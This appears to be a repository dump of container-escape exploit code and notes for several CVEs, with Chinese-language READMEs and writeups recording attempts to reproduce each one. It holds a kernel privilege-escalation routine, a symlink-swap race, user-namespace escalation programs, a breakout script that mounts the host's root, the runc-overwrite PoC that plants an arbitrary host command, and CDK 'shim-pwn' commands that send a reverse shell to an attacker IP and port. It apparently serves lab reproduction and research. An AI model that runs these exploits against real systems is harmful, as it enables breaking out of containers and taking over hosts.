KERNEL_BASE); 462 | #endif 463 | 464 | printf("[.] commit_creds: %lx\n", KERNEL_BASE + COMMIT_CREDS); 465 | printf("[.] prepare_kernel_cred: %lx\n", KERNEL_BASE + PREPARE_KERNEL_CRED); 466 | 467 | #if ENABLE_SMEP_SMAP_BYPASS 468 | printf("[.] native_write_cr4: %lx\n", KERNEL_BASE + NATIVE_WRITE_CR4); 469 | #endif 470 | 471 | printf("[.] padding heap\n"); 472 | kmalloc_pad(KMALLOC_PAD); 473 | pagealloc_pad(PAGEALLOC_PAD); 474 | printf("[.] done, heap is padded\n"); 475 | 476 | #if ENABLE_SMEP_SMAP_BYPASS 477 | printf("[.] SMEP & SMAP bypass enabled, turning them off\n"); 478 | oob_timer_execute((void *)(KERNEL_BASE + NATIVE_WRITE_CR4), CR4_DESIRED_VALUE); 479 | printf("[.] done, SMEP & SMAP should be off now\n"); 480 | #endif 481 | 482 | printf("[.] find_task_by_vpid: %lx\n",KERNEL_BASE + FIND_TASK_BY_VPID); 483 | printf("[.] do_sys_open: %lx\n",KERNEL_BASE + DO_SYS_OPEN); 484 | printf("[.] sys_setns: %lx\n",KERNEL_BASE + SYS_SETNS); 485 | 486 | printf("[.] executing get root payload %p\n", &get_root_payload); 487 | oob_id_match_execute((void *)&get_root_payload); 488 | printf("[.] done, should be root now\n"); 489 | 490 | check_root(); 491 | 492 | while (1) sleep(1000); 493 | 494 | return 0; 495 | } -------------------------------------------------------------------------------- /CVEs/CVE-2017-7308/writeup.md: -------------------------------------------------------------------------------- 1 | # CVE-2017-7308 2 | ## Environments 3 | 4 | - Ubuntu 16.04.6 5 | 6 | Failed for unable to build the corresponding kernel 7 | 8 | 应该是apt安装的时候出事了 -------------------------------------------------------------------------------- /CVEs/CVE-2018-15664/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:18.04 2 | COPY exp / 3 | Entrypoint ["/exp"] 4 | -------------------------------------------------------------------------------- /CVEs/CVE-2018-15664/README.md: -------------------------------------------------------------------------------- 1 | # CVE-2018-15664 2 | From: https://github.com/duowen1/Container-escape-exps/tree/main/CVE-2018-15664 3 | ## Description 4 | 利用该漏洞攻击者可以实现容器的逃逸,访问host中的文件。这是一个逻辑漏洞,攻击者可以通过构造恶意的软链接以获得host上文件的读写权限。 5 | 6 | ## Exploit 7 | 8 | 环境准备 9 | 10 | ```shell 11 | ./metarget cnv install cve-2018-15664 12 | ``` 13 | 14 | 利用 15 | 16 | 在host上: 17 | ```shell 18 | ./run_write.sh 19 | ``` 20 | 21 | 可以观察到/w00t_w00t_im_a_flag被覆盖 22 | -------------------------------------------------------------------------------- /CVEs/CVE-2018-15664/exp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LouisLiuNova/container-escape-exploits/858c163c22850d248312ffba3ead5a12949f5145/CVEs/CVE-2018-15664/exp -------------------------------------------------------------------------------- /CVEs/CVE-2018-15664/run_write.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | SYMSWAP_PATH=/totally_safe_path 4 | SYMSWAP_TARGET=/w00t_w00t_im_a_flag 5 | 6 | # Create our flag. 7 | echo "FAILED -- HOST FILE UNCHANGED" | sudo tee "$SYMSWAP_TARGET" 8 | sudo chmod 0444 "$SYMSWAP_TARGET" 9 | 10 | # Run and build the malicious image. 11 | docker build -t expcon \ 12 | --build-arg "SYMSWAP_PATH=$SYMSWAP_PATH" \ 13 | --build-arg "SYMSWAP_TARGET=$SYMSWAP_TARGET" . 14 | ctr_id=$(docker run --rm -d expcon "$SYMSWAP_PATH") 15 | 16 | echo "SUCCESS -- HOST FILE CHANGED" | tee localpath 17 | 18 | # Now continually try to copy the files. 19 | while true 20 | do 21 | docker cp localpath "${ctr_id}:$SYMSWAP_PATH/$SYMSWAP_TARGET" 22 | done -------------------------------------------------------------------------------- /CVEs/CVE-2018-15664/symlink_swap.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | #define usage() \ 11 | do { printf("usage: symlink_swap \n"); exit(1); } while(0) 12 | 13 | #define bail(msg) \ 14 | do { perror("symlink_swap: " msg); exit(1); } while (0) 15 | 16 | /* No glibc wrapper for this, so wrap it ourselves. */ 17 | #define RENAME_EXCHANGE (1 << 1) 18 | int renameat2(int olddirfd, const char *oldpath, 19 | int newdirfd, const char *newpath, int flags) 20 | { 21 | return syscall(__NR_renameat2, olddirfd, oldpath, newdirfd, newpath, flags); 22 | } 23 | 24 | /* usage: symlink_swap */ 25 | int main(int argc, char **argv) 26 | { 27 | if (argc != 2) 28 | usage(); 29 | 30 | char *symlink_path = argv[1]; 31 | char *stash_path = NULL; 32 | if (asprintf(&stash_path, "%s-stashed", symlink_path) < 0) 33 | bail("create stash_path"); 34 | 35 | /* Create a dummy file at symlink_path. */ 36 | struct stat sb = {0}; 37 | if (!lstat(symlink_path, &sb)) { 38 | int err; 39 | if (sb.st_mode & S_IFDIR) 40 | err = rmdir(symlink_path); 41 | else 42 | err = unlink(symlink_path); 43 | if (err < 0) 44 | bail("unlink symlink_path"); 45 | } 46 | 47 | /* 48 | * Now create a symlink to "/" (which will resolve to the host's root if we 49 | * win the race) and a dummy directory at stash_path for us to swap with. 50 | * We use a directory to remove the possibility of ENOTDIR which reduces 51 | * the chance of us winning. 52 | */ 53 | if (symlink("/", symlink_path) < 0) 54 | bail("create symlink_path"); 55 | if (mkdir(stash_path, 0755) < 0) 56 | bail("mkdir stash_path"); 57 | 58 | /* Now we do a RENAME_EXCHANGE forever. */ 59 | for (;;) { 60 | int err = renameat2(AT_FDCWD, symlink_path, 61 | AT_FDCWD, stash_path, RENAME_EXCHANGE); 62 | if (err < 0) 63 | perror("symlink_swap: rename exchange failed"); 64 | } 65 | return 0; 66 | } 67 | -------------------------------------------------------------------------------- /CVEs/CVE-2018-15664/writeup.md: -------------------------------------------------------------------------------- 1 | # 2018-15664 2 | 3 | ## Env 4 | 5 | - Ubuntu 18.04 6 | 7 | ## Prep 8 | ```shell 9 | ./metarget cnv install cve-2018-15664 10 | ``` 11 | 12 | 在host上: 13 | ```shell 14 | ./run_write.sh 15 | ``` 16 | 17 | 18.04拉取镜像时报missing signature key错误,docker版本太老无法获取镜像 需要用docker 20.10+ 18 | 似乎可以拉取更早的镜像看看 19 | 这个要改造有点复杂 先放一下 20 | 21 | 实现了环境,但报 22 | > docker: Error response from daemon: failed to create shim task: OCI runtime create failed: runc create failed: unable to start container process: exec: "/exp": permission denied: unknown. 23 | -------------------------------------------------------------------------------- /CVEs/CVE-2018-18955/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:18.04 2 | 3 | RUN apt-get update && apt-get install uidmap -y 4 | RUN useradd -u 1001 normaluser 5 | COPY subshell / 6 | COPY subuid_shell / 7 | USER 1001 8 | CMD /bin/bash -------------------------------------------------------------------------------- /CVEs/CVE-2018-18955/README.md: -------------------------------------------------------------------------------- 1 | # CVE-2018-18955 2 | ## Description 3 | 在4.19.2之前的Linux内核4.15.x到4.19.x中,kernel/user_namespace.c中的map_write()允许提权,因为它错误地处理了具有超过5个UID或GID范围的嵌套用户命名空间。在受影响的用户命名空间中拥有CAP_SYS_ADMIN的用户可以绕过对命名空间外资源的访问控制,如read /etc/shadow。发生这种情况是因为ID转换对命名空间到内核方向正确进行,而不是对内核到命名空间方向进行。 4 | > 该漏洞只能在容器内提权,因为不能绕过namespace的限制。 5 | ## Exploits 6 | https://github.com/duowen1/Container-escape-exps/tree/main/CVE-2018-18955 7 | 8 | ## Writeup 9 | 10 | https://potassium.site/2024/04/a1808592721f.html 11 | 12 | ## Image 13 | 14 | https://hub.docker.com/repository/docker/iridium191/cve-2018-18955 -------------------------------------------------------------------------------- /CVEs/CVE-2018-18955/subshell: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LouisLiuNova/container-escape-exploits/858c163c22850d248312ffba3ead5a12949f5145/CVEs/CVE-2018-18955/subshell -------------------------------------------------------------------------------- /CVEs/CVE-2018-18955/subshell.c: -------------------------------------------------------------------------------- 1 | 2 | #define _GNU_SOURCE 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | int main(void) { 14 | int sync_pipe[2]; 15 | char dummy; 16 | if (socketpair(AF_UNIX, SOCK_STREAM, 0, sync_pipe)) err(1, "pipe"); 17 | 18 | pid_t child = fork(); 19 | if (child == -1) err(1, "fork"); 20 | if (child == 0) { 21 | close(sync_pipe[1]); 22 | if (unshare(CLONE_NEWUSER)) err(1, "unshare userns"); 23 | if (write(sync_pipe[0], "X", 1) != 1) err(1, "write to sock"); 24 | 25 | if (read(sync_pipe[0], &dummy, 1) != 1) err(1, "read from sock"); 26 | execl("/bin/bash", "bash", NULL); 27 | err(1, "exec"); 28 | } 29 | 30 | close(sync_pipe[0]); 31 | if (read(sync_pipe[1], &dummy, 1) != 1) err(1, "read from sock"); 32 | 33 | printf("real subprocess, sub-sub-process pid_t = %d\n", (int)child); 34 | char pbuf[100]; 35 | sprintf(pbuf, "/proc/%d", (int)child); 36 | if (chdir(pbuf)) err(1, "chdir"); 37 | const char *id_mapping = "0 0 1\n1 1 1\n2 2 1\n3 3 1\n4 4 1\n5 5 995\n"; 38 | int uid_map = open("uid_map", O_WRONLY); 39 | if (uid_map == -1) err(1, "open uid map"); 40 | if (write(uid_map, id_mapping, strlen(id_mapping)) != strlen(id_mapping)) err(1, "write uid map"); 41 | close(uid_map); 42 | int gid_map = open("gid_map", O_WRONLY); 43 | if (gid_map == -1) err(1, "open gid map"); 44 | if (write(gid_map, id_mapping, strlen(id_mapping)) != strlen(id_mapping)) err(1, "write gid map"); 45 | close(gid_map); 46 | if (write(sync_pipe[1], "X", 1) != 1) err(1, "write to sock"); 47 | 48 | int status; 49 | if (wait(&status) != child) err(1, "wait"); 50 | return 0; 51 | } -------------------------------------------------------------------------------- /CVEs/CVE-2018-18955/subuid_shell: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LouisLiuNova/container-escape-exploits/858c163c22850d248312ffba3ead5a12949f5145/CVEs/CVE-2018-18955/subuid_shell -------------------------------------------------------------------------------- /CVEs/CVE-2018-18955/subuid_shell.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | int main(void) { 15 | int sync_pipe[2]; 16 | char dummy; 17 | if (socketpair(AF_UNIX, SOCK_STREAM, 0, sync_pipe)) err(1, "pipe"); 18 | 19 | pid_t child = fork(); 20 | if (child == -1) err(1, "fork"); 21 | if (child == 0) {//�ӽ��� 22 | prctl(PR_SET_PDEATHSIG, SIGKILL); 23 | close(sync_pipe[1]); 24 | if (unshare(CLONE_NEWUSER)) err(1, "unshare userns"); 25 | 26 | if (write(sync_pipe[0], "X", 1) != 1) err(1, "write to sock"); 27 | if (read(sync_pipe[0], &dummy, 1) != 1) err(1, "read from sock"); 28 | 29 | if (setgid(0)) err(1, "setgid"); 30 | if (setuid(0)) err(1, "setuid"); 31 | 32 | execl("/bin/bash", "bash", NULL); 33 | err(1, "exec"); 34 | } 35 | 36 | printf("Parent process: subprocess pid_t = %d\n",(int)child); 37 | 38 | close(sync_pipe[0]); 39 | if (read(sync_pipe[1], &dummy, 1) != 1) err(1, "read from sock"); 40 | 41 | char cmd[1000]; 42 | sprintf(cmd, "echo deny > /proc/%d/setgroups", (int)child); 43 | if (system(cmd)) errx(1, "denying setgroups failed"); 44 | sprintf(cmd, "newuidmap %d 0 100000 1000", (int)child); 45 | if (system(cmd)) errx(1, "newuidmap failed"); 46 | sprintf(cmd, "newgidmap %d 0 100000 1000", (int)child); 47 | if (system(cmd)) errx(1, "newgidmap failed"); 48 | 49 | if (write(sync_pipe[1], "X", 1) != 1) err(1, "write to sock"); 50 | 51 | int status; 52 | if (wait(&status) != child) err(1, "wait"); 53 | return 0; 54 | } -------------------------------------------------------------------------------- /CVEs/CVE-2019-14271/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:18.04 2 | COPY breakout.sh ./ 3 | COPY libnss_files.so.2 ./ 4 | RUN chmod 777 breakout.sh && touch /logs -------------------------------------------------------------------------------- /CVEs/CVE-2019-14271/README.md: -------------------------------------------------------------------------------- 1 | # CVE-2019-14271 2 | See: https://github.com/Metarget/metarget/tree/master/writeups_cnv/docker-cve-2019-14271 3 | 4 | ## Writeup 5 | 6 | https://potassium.site/2024/04/f2a6aa1a36ec.html 7 | 8 | ## Image 9 | https://hub.docker.com/repository/docker/iridium191/cve-2019-14271 -------------------------------------------------------------------------------- /CVEs/CVE-2019-14271/breakout.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | exec > /break_logs 2>&1 # defer output & err to break_logs 3 | 4 | umount /host_fs && rm -rf /host_fs 5 | mkdir /host_fs 6 | 7 | mount -t proc none /proc # mount host's procfs 8 | cd /proc/1/root # chdirs to host's root 9 | mount --bind . /host_fs # mount host root at /host_fs 10 | 11 | echo "Hello from within the container!" > /host_fs/evil -------------------------------------------------------------------------------- /CVEs/CVE-2019-14271/libnss_files.so.2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LouisLiuNova/container-escape-exploits/858c163c22850d248312ffba3ead5a12949f5145/CVEs/CVE-2019-14271/libnss_files.so.2 -------------------------------------------------------------------------------- /CVEs/CVE-2019-5736/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:19.10 2 | COPY main ./ 3 | USER root -------------------------------------------------------------------------------- /CVEs/CVE-2019-5736/README.md: -------------------------------------------------------------------------------- 1 | # CVE-2019-5736 2 | ## Description 3 | runC的覆盖 4 | 攻击者可以将容器中的目标文件替换成指向runC的自己的文件来欺骗runC执行自己。比如目标文件是/bin/bash,将它替换成指定解释器路径为#!/proc/self/exe的可执行脚本,在容器中执行/bin/bash时将执行/proc/self/exe,它指向host上的runC文件。然后攻击者可以继续写入/proc/self/exe试图覆盖host上的runC文件。但是一般来说不会成功,因为内核不允许在执行runC时覆盖它。为了解决这个问题,攻击者可以使用O_PATH标志打开/proc/self/exe的文件描述符,然后通过/proc/self/fd/使用O_WRONLY标志重新打开文件,并尝试在一个循环中从一个单独的进程写入该文件。当runC退出时覆盖会成功,在此之后,runC可以用来攻击其它容器或host。 5 | 6 | ## Exploit 7 | https://github.com/Frichetten/CVE-2019-5736-PoC 8 | 9 | https://e3g4xrthd5.feishu.cn/docx/UpUod22i1otUupx8PBucKFfen5d 10 | 11 | ## Writeup 12 | 13 | https://potassium.site/2024/04/6bebfe1479d2.html 14 | 15 | ## Image 16 | 17 | 本漏洞需要编辑源码,故没有直接的镜像提供 -------------------------------------------------------------------------------- /CVEs/CVE-2019-5736/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | // From https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go 3 | // Implementation of CVE-2019-5736 4 | // Created with help from @singe, @_cablethief, and @feexd. 5 | // This commit also helped a ton to understand the vuln 6 | // https://github.com/lxc/lxc/commit/6400238d08cdf1ca20d49bafb85f4e224348bf9d 7 | import ( 8 | "fmt" 9 | "io/ioutil" 10 | "os" 11 | "strconv" 12 | "strings" 13 | "flag" 14 | ) 15 | 16 | 17 | var shellCmd string 18 | 19 | func init() { 20 | flag.StringVar(&shellCmd, "shell", "", "Execute arbitrary commands") 21 | flag.Parse() 22 | } 23 | 24 | func main() { 25 | // This is the line of shell commands that will execute on the host 26 | var payload = "#!/bin/bash \n" + shellCmd 27 | // First we overwrite /bin/sh with the /proc/self/exe interpreter path 28 | fd, err := os.Create("/bin/sh") 29 | if err != nil { 30 | fmt.Println(err) 31 | return 32 | } 33 | fmt.Fprintln(fd, "#!/proc/self/exe") 34 | err = fd.Close() 35 | if err != nil { 36 | fmt.Println(err) 37 | return 38 | } 39 | fmt.Println("[+] Overwritten /bin/sh successfully") 40 | 41 | // Loop through all processes to find one whose cmdline includes runcinit 42 | // This will be the process created by runc 43 | var found int 44 | for found == 0 { 45 | pids, err := ioutil.ReadDir("/proc") 46 | if err != nil { 47 | fmt.Println(err) 48 | return 49 | } 50 | for _, f := range pids { 51 | fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline") 52 | fstring := string(fbytes) 53 | if strings.Contains(fstring, "runc") { 54 | fmt.Println("[+] Found the PID:", f.Name()) 55 | found, err = strconv.Atoi(f.Name()) 56 | if err != nil { 57 | fmt.Println(err) 58 | return 59 | } 60 | } 61 | } 62 | } 63 | 64 | // We will use the pid to get a file handle for runc on the host. 65 | var handleFd = -1 66 | for handleFd == -1 { 67 | // Note, you do not need to use the O_PATH flag for the exploit to work. 68 | handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777) 69 | if int(handle.Fd()) > 0 { 70 | handleFd = int(handle.Fd()) 71 | } 72 | } 73 | fmt.Println("[+] Successfully got the file handle") 74 | 75 | // Now that we have the file handle, lets write to the runc binary and overwrite it 76 | // It will maintain it's executable flag 77 | for { 78 | writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700) 79 | if int(writeHandle.Fd()) > 0 { 80 | fmt.Println("[+] Successfully got write handle", writeHandle) 81 | fmt.Println("[+] The command executed is" + payload) 82 | writeHandle.Write([]byte(payload)) 83 | return 84 | } 85 | } 86 | } -------------------------------------------------------------------------------- /CVEs/CVE-2020-14386/50-reset-crio-capabilities.conf: -------------------------------------------------------------------------------- 1 | # Mitigate https://bugzilla.redhat.com/show_bug.cgi?id=1875699 2 | # by dropping CAP_NET_RAW from the default capabilities 3 | apiVersion: machineconfiguration.openshift.io/v1 4 | kind: MachineConfig 5 | metadata: 6 | labels: 7 | machineconfiguration.openshift.io/role: worker 8 | name: 50-reset-crio-capabilities 9 | spec: 10 | config: 11 | ignition: 12 | version: 2.2.0 13 | storage: 14 | files: 15 | - contents: 16 | source: data:text/plain;charset=utf-8;base64,W2NyaW8ucnVudGltZV0KZGVmYXVsdF9jYXBhYmlsaXRpZXMgPSBbCiAgICAiQ0hPV04iLAogICAgIkRBQ19PVkVSUklERSIsCiAgICAiRlNFVElEIiwKICAgICJGT1dORVIiLAogICAgIlNFVEdJRCIsCiAgICAiU0VUVUlEIiwKICAgICJTRVRQQ0FQIiwKICAgICJORVRfQklORF9TRVJWSUNFIiwKICAgICJTWVNfQ0hST09UIiwKICAgICJLSUxMIiwKXQo= 17 | filesystem: root 18 | mode: 0644 19 | path: /etc/crio/crio.conf.d/reset-crio-capabilities.conf 20 | -------------------------------------------------------------------------------- /CVEs/CVE-2020-14386/Dockerfile: -------------------------------------------------------------------------------- 1 | # Yeah there are smaller containers but eh, I know this one 2 | # and am not a fan of pulling gcc from Docker Hub. 3 | FROM registry.svc.ci.openshift.org/coreos/cosa-buildroot as builder 4 | WORKDIR /srv 5 | COPY cve-cap-net-raw.c . 6 | RUN gcc -Wall -o cve-cap-net-raw cve-cap-net-raw.c 7 | FROM registry.fedoraproject.org/fedora:32 8 | COPY --from=builder /srv/cve-cap-net-raw /usr/bin/cve-2020-14386 9 | COPY wrapper.sh /usr/bin/cve-2020-14386-wrap 10 | RUN setcap cap_net_raw+ep /usr/bin/cve-2020-14386 11 | ENTRYPOINT ["/usr/bin/cve-2020-14386-wrap"] -------------------------------------------------------------------------------- /CVEs/CVE-2020-14386/README.md: -------------------------------------------------------------------------------- 1 | # CVE-2020-14386 2 | See: https://github.com/cgwalters/cve-2020-14386 3 | ## Description 4 | 5 | Linux内核整数溢出提权漏洞用于k8s逃逸 6 | 7 | ==注意:这个漏洞的exp流程还是没弄清楚 慎重操作== 8 | 9 | ## Usage 10 | 11 | 准备环境 12 | ```shell 13 | ./metarget cnv install CVE-2020-14386 14 | ``` 15 | 16 | 创建节点 17 | 18 | ```shell 19 | kubectl create -f pod.yaml 20 | ``` 21 | 22 | 执行exp 23 | ```shell 24 | 25 | 26 | 检查节点 27 | ```shell 28 | kubectl get node/testnode 29 | ``` 30 | 31 | 如果状态为NotReady或者Reboot则利用成功 -------------------------------------------------------------------------------- /CVEs/CVE-2020-14386/cve-cap-net-raw.c: -------------------------------------------------------------------------------- 1 | /* Taken from https://www.openwall.com/lists/oss-security/2020/09/03/3 */ 2 | #define _GNU_SOURCE 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | 21 | 22 | bool write_file(const char* file, const char* what, ...) { 23 | char buf[1024]; 24 | va_list args; 25 | va_start(args, what); 26 | vsnprintf(buf, sizeof(buf), what, args); 27 | va_end(args); 28 | buf[sizeof(buf) - 1] = 0; 29 | int len = strlen(buf); 30 | 31 | int fd = open(file, O_WRONLY | O_CLOEXEC); 32 | if (fd == -1) 33 | return false; 34 | if (write(fd, buf, len) != len) { 35 | close(fd); 36 | return false; 37 | } 38 | close(fd); 39 | return true; 40 | } 41 | 42 | 43 | void setup_unshare() { 44 | int real_uid = getuid(); 45 | int real_gid = getgid(); 46 | 47 | if (unshare(CLONE_NEWUSER) != 0) { 48 | perror("[-] unshare(CLONE_NEWUSER)"); 49 | exit(EXIT_FAILURE); 50 | } 51 | 52 | if (unshare(CLONE_NEWNET) != 0) { 53 | perror("[-] unshare(CLONE_NEWNET)"); 54 | exit(EXIT_FAILURE); 55 | } 56 | 57 | if (!write_file("/proc/self/setgroups", "deny")) { 58 | perror("[-] write_file(/proc/self/set_groups)"); 59 | exit(EXIT_FAILURE); 60 | } 61 | if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)){ 62 | perror("[-] write_file(/proc/self/uid_map)"); 63 | exit(EXIT_FAILURE); 64 | } 65 | if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) { 66 | perror("[-] write_file(/proc/self/gid_map)"); 67 | exit(EXIT_FAILURE); 68 | } 69 | } 70 | 71 | void prep() { 72 | cpu_set_t my_set; 73 | CPU_ZERO(&my_set); 74 | CPU_SET(0, &my_set); 75 | if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) { 76 | perror("[-] sched_setaffinity()"); 77 | exit(EXIT_FAILURE); 78 | } 79 | } 80 | 81 | void packet_socket_send(int s, char *buffer, int size) { 82 | struct sockaddr_ll sa; 83 | memset(&sa, 0, sizeof(sa)); 84 | sa.sll_ifindex = if_nametoindex("lo"); 85 | sa.sll_halen = ETH_ALEN; 86 | 87 | if (sendto(s, buffer, size, 0, (struct sockaddr *)&sa, 88 | sizeof(sa)) < 0) { 89 | perror("[-] sendto(SOCK_RAW)"); 90 | exit(EXIT_FAILURE); 91 | } 92 | } 93 | 94 | void loopback_send(char *buffer, int size) { 95 | int s = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW); 96 | if (s == -1) { 97 | perror("[-] socket(SOCK_RAW)"); 98 | exit(EXIT_FAILURE); 99 | } 100 | 101 | packet_socket_send(s, buffer, size); 102 | } 103 | 104 | 105 | 106 | int main(int argc, char **argv) 107 | { 108 | int skip_unshare = 0; 109 | struct stat stbuf; 110 | 111 | if (argc > 1 && strcmp (argv[1], "skip-unshare") == 0) 112 | skip_unshare = 1; 113 | else if (stat ("/run/secrets/kubernetes.io", &stbuf) == 0) 114 | skip_unshare = 1; 115 | 116 | if (!skip_unshare) 117 | setup_unshare(); 118 | 119 | prep(); 120 | 121 | int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL) ); 122 | if (s < 0) 123 | { 124 | perror("socket"); 125 | return 1; 126 | } 127 | 128 | int v = TPACKET_V2; 129 | int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v)); 130 | if (rv < 0) 131 | { 132 | perror("setsockopt(PACKET_VERSION)\n"); 133 | return 1; 134 | } 135 | 136 | v = 1; 137 | rv = setsockopt(s, SOL_PACKET, PACKET_VNET_HDR, &v, sizeof(v)); 138 | if (rv < 0) 139 | { 140 | perror("setsockopt(PACKET_VNET_HDR)\n"); 141 | return 1; 142 | } 143 | 144 | v = 0xffff - 20 - 0x30 -7; 145 | rv = setsockopt(s, SOL_PACKET, PACKET_RESERVE, &v, sizeof(v)); 146 | if (rv < 0) 147 | { 148 | perror("setsockopt(PACKET_RESERVE)\n"); 149 | return 1; 150 | } 151 | 152 | struct tpacket_req req; 153 | memset(&req, 0, sizeof(req)); 154 | req.tp_block_size = 0x800000; 155 | req.tp_frame_size = 0x11000; 156 | req.tp_block_nr = 1; 157 | req.tp_frame_nr = (req.tp_block_size * req.tp_block_nr) / req.tp_frame_size; 158 | 159 | rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req)); 160 | if (rv < 0) { 161 | perror("[-] setsockopt(PACKET_RX_RING)"); 162 | exit(EXIT_FAILURE); 163 | } 164 | 165 | 166 | struct sockaddr_ll sa; 167 | memset(&sa, 0, sizeof(sa)); 168 | sa.sll_family = PF_PACKET; 169 | sa.sll_protocol = htons(ETH_P_ALL); 170 | sa.sll_ifindex = if_nametoindex("lo"); 171 | sa.sll_hatype = 0; 172 | sa.sll_pkttype = 0; 173 | sa.sll_halen = 0; 174 | 175 | rv = bind(s, (struct sockaddr *)&sa, sizeof(sa)); 176 | if (rv < 0) { 177 | perror("[-] bind(AF_PACKET)"); 178 | exit(EXIT_FAILURE); 179 | } 180 | 181 | uint32_t size = 0x80000/8; 182 | char* buf = malloc(size); 183 | if(!buf) 184 | { 185 | perror("malloc\n"); 186 | exit(EXIT_FAILURE); 187 | } 188 | memset(buf,0xce,size); 189 | loopback_send(buf,size); 190 | 191 | return 0; 192 | } 193 | 194 | -------------------------------------------------------------------------------- /CVEs/CVE-2020-14386/pod.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: v1 2 | kind: Pod 3 | metadata: 4 | name: cve-2020-14386 5 | spec: 6 | restartPolicy: Never 7 | nodeName: testnode 8 | containers: 9 | - name: cve-2020-14386 10 | image: registry.svc.ci.openshift.org/coreos/cve-2020-14386 11 | imagePullPolicy: Always -------------------------------------------------------------------------------- /CVEs/CVE-2020-14386/wrapper.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | set -euo pipefail 3 | t=5s 4 | echo "Running reproducer for CVE-2020-14386 in ${t} - this may crash the node" 5 | sleep $t 6 | if ! /usr/bin/cve-2020-14386; then 7 | echo 'Reproducer failed!' 1>&2 8 | exit 1 9 | fi 10 | sleep 5 11 | echo "Reproducer exited successfully - node probably not vulnerable" 12 | 13 | -------------------------------------------------------------------------------- /CVEs/CVE-2020-15257/README.md: -------------------------------------------------------------------------------- 1 | # CVE-2020-15257 2 | 3 | ## Description 4 | 5 | 在版本1.3.9之前和1.4.0~1.4.2的Containerd中,由于在网络模式为host的情况下,容器与宿主机共享一套Network namespace ,此时containerd-shim API暴露给了用户,而且访问控制仅仅验证了连接进程的有效UID为0,但没有限制对抽象Unix域套接字的访问,刚好在默认情况下,容器内部的进程是以root用户启动的。在两者的共同作用下,容器内部的进程就可以像主机中的containerd一样,连接containerd-shim监听的抽象Unix域套接字,调用containerd-shim提供的各种API,从而实现容器逃逸。 6 | 7 | ## Exploit 8 | 9 | 10 | 漏洞环境准备: 11 | ```shell 12 | ./metarget cnv install cve-2020-15257 13 | ``` 14 | 15 | 启动容器: 16 | ```shell 17 | sudo docker run -it --net=host --name=15257 ubuntu /bin/bash 18 | ``` 19 | 在容器内执行 `cat /proc/net/unix|grep -a "containerd-shim"` 可看到抽象命名空间Unix域套接字. 20 | 21 | 构建exp 22 | ```shell 23 | apt-get update 24 | apt-get install wget 25 | wget https://github.com/Xyntax/CDK/releases/download/0.1.6/cdk_v0.1.6_release.tar.gz 26 | tar -zxvf cdk_v0.1.6_release.tar.gz 27 | ``` 28 | 29 | 启动exp 30 | ```shell 31 | ./cdk_linux_amd64 run shim-pwn [攻击机ip] [监听端口]./cdk_linux_amd64 run shim-pwn 192.168.1.8 12345 32 | ``` 33 | 34 | 由于对应的Docker版本过旧无法拉取镜像复现失败 35 | 考虑一下手动下载https://blog.51cto.com/u_16175515/9155157 36 | 37 | ## Exp Reference 38 | https://blog.csdn.net/w17791476027/article/details/132637785 -------------------------------------------------------------------------------- /CVEs/CVE-2020-15257/writeup.md: -------------------------------------------------------------------------------- 1 | ```shell 2 | sudo docker run -it --net=host --rm --name=15257 ubuntu /bin/bash 3 | apt-get update 4 | apt-get install wget 5 | wget https://github.com/Xyntax/CDK/releases/download/0.1.6/cdk_v0.1.6_release.tar.gz 6 | tar -zxvf cdk_v0.1.6_release.tar.gz 7 | 8 | ./cdk_linux_amd64 run shim-pwn 192.168.72.136 7429 9 | ``` -------------------------------------------------------------------------------- /CVEs/CVE-2021-22555/README.md: -------------------------------------------------------------------------------- 1 | # CVE-2021-22555 2 | ## Description 3 | 4 | See: https://github.com/google/security-research/tree/master/pocs/linux/cve-2021-22555 5 | Also: https://github.com/xyjl-ly/CVE-2021-22555-Exploit/blob/main/cve_2021_22555.c 6 | ## Exploits 7 | 8 | 准备环境 9 | ```shell 10 | ./metarget cnv install cve-2021-22555 11 | ``` 12 | 13 | 在容器内运行exp 14 | ```shell 15 | gcc -m32 -static -o exploit exploit.c 16 | ./exploit 17 | ``` 18 | 19 | 失败 20 | 21 | ``` 22 | [+] Linux Privilege Escalation by theflow@ - 2021 23 | 24 | [+] STAGE 0: Initialization 25 | [*] Setting up namespace sandbox... 26 | [-] unshare(CLONE_NEWUSER): Operation not permitted 27 | 28 | ``` -------------------------------------------------------------------------------- /CVEs/CVE-2021-22555/exploit.c: -------------------------------------------------------------------------------- 1 | /* 2 | * 